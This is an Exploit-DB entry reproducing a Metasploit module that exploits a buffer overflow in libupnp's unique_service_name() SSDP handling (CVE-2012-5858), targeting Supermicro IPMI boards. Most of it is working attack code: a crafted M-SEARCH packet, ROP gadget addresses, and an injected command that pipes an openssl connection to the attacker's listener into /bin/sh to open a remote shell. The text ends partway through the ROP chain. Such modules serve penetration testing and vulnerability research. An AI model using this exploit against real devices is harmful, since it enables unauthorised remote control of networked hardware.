Exploit-DB #24455
Description: Portable UPnP SDK - 'unique_service_name()' Remote Code Execution (Metasploit)
Type: remote
Platform: unix
Date: 2013-02-05
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
			'Description'    => %q{
					This module exploits a buffer overflow in the unique_service_name()
				function of libupnp's SSDP processor. The libupnp library is used across
				thousands of devices and is referred to as the Intel SDK for UPnP
				Devices or the Portable SDK for UPnP Devices.

				Due to size limitations on many devices, this exploit uses a separate TCP
				listener to stage the real payload.
			},
			'Author'         => [
					'hdm',                                              # Exploit dev for Supermicro IPMI
					'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
					'Richard Harman <richard[at]richardharman.com>'     # Binaries, system info, testing for Supermicro IPMI
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-5858' ],
					[ 'US-CERT-VU', '922681' ],
					[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => true,
			'Payload'        =>
				{
#
#					# The following BadChars do not apply since we stage the payload
#					# through a secondary connection. This is just for reference.
#
#					'BadChars'  =>
#						# Bytes 0-8 are not allowed
#						[*(0..8)].pack("C*") +
#						# 0x09, 0x0a, 0x0d are allowed
#						"\x0b\x0c\x0e\x0f" +
#						# All remaining bytes up to space are restricted
#						[*(0x10..0x1f)].pack("C*") +
#						# Also not allowed
#						"\x7f\x3a" +
#						# Breaks our string quoting
#						"\x22",

					# Unlimited since we stage this over a secondary connection
					'Space'       => 8000,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							# specific payloads vary widely by device (openssl for IPMI, etc)
						}
				},
			'Targets'        =>
				[

					[ "Automatic", { } ],

					#
					# ROP targets are difficult to represent in the hash, use callbacks instead
					#
					[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {

						# The callback handles all target-specific settings
						:callback => :target_supermicro_ipmi_131,

						# This matches any line of the SSDP M-SEARCH response
						:fingerprint =>
							/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi

						#
						# SSDP response:
						#	Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
						#	http://192.168.xx.xx:49152/IPMIdevicedesc.xml
						#	uuid:Upnp-IPMI-1_0[PII_REDACTED]001::upnp:rootdevice

						# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)

					} ],

					[ "Debug Target", {

						# The callback handles all target-specific settings
						:callback => :target_debug

					} ]

				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 29 2013'))

		register_options(
			[
				Opt::RHOST(),
				Opt::RPORT(1900),
				OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
				OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
			], self.class)
	end


	def exploit

		configure_socket

		target_info = choose_target

		unless self.respond_to?(target_info[:callback])
			print_error("Invalid target specified: no callback function defined")
			return
		end

		buffer = self.send(target_info[:callback])
		pkt =
			"M-SEARCH * HTTP/1.1\r\n" +
			"Host:239.255.255.250:1900\r\n" +
			"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
			"Man:\"ssdp:discover\"\r\n" +
			"MX:3\r\n\r\n"

		print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")

		r = udp_sock.sendto(pkt, rhost, rport, 0)

		1.upto(5) do
			::IO.select(nil, nil, nil, 1)
			break if session_created?
		end

		# No handler() support right now
	end



	# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
	def target_supermicro_ipmi_131

		# Create a fixed-size buffer for the payload
		buffer = Rex::Text.rand_text_alpha(2000)

		# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
		buffer[0,1]     = '"'
		buffer[1999,1]  = '"'

		# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
		cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

		# Start a listener
		start_listener(true)

		# Figure out the port we picked
		cbport = self.service.getsockname[2]

		# Restart the service and use openssl to stage the real payload
		# Staged because only ~150 bytes of contiguous data are available before mangling
		cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
		buffer[432, cmd.length] = cmd

		# Adjust $r3 to point from the bottom of the stack back into our buffer
		buffer[304,4] = [0x4009daf8].pack("V") #
			# 0x4009daf8:	add	r3, r3, r4, lsl #2
			# 0x4009dafc:	ldr	r0, [r3, #512]	; 0x200
			# 0x4009db00:	pop	{r4, r10, pc}

		# The offset (right-shifted by 2 ) to our command string above
		buffer[284,4] = [0xfffffe78].pack("V") #

		# Copy $r3 into $r0
		buffer[316,4] = [0x400db0ac].pack("V")
			# 0x400db0ac <_IO_wfile_underflow+1184>:	sub	r0, r3, #1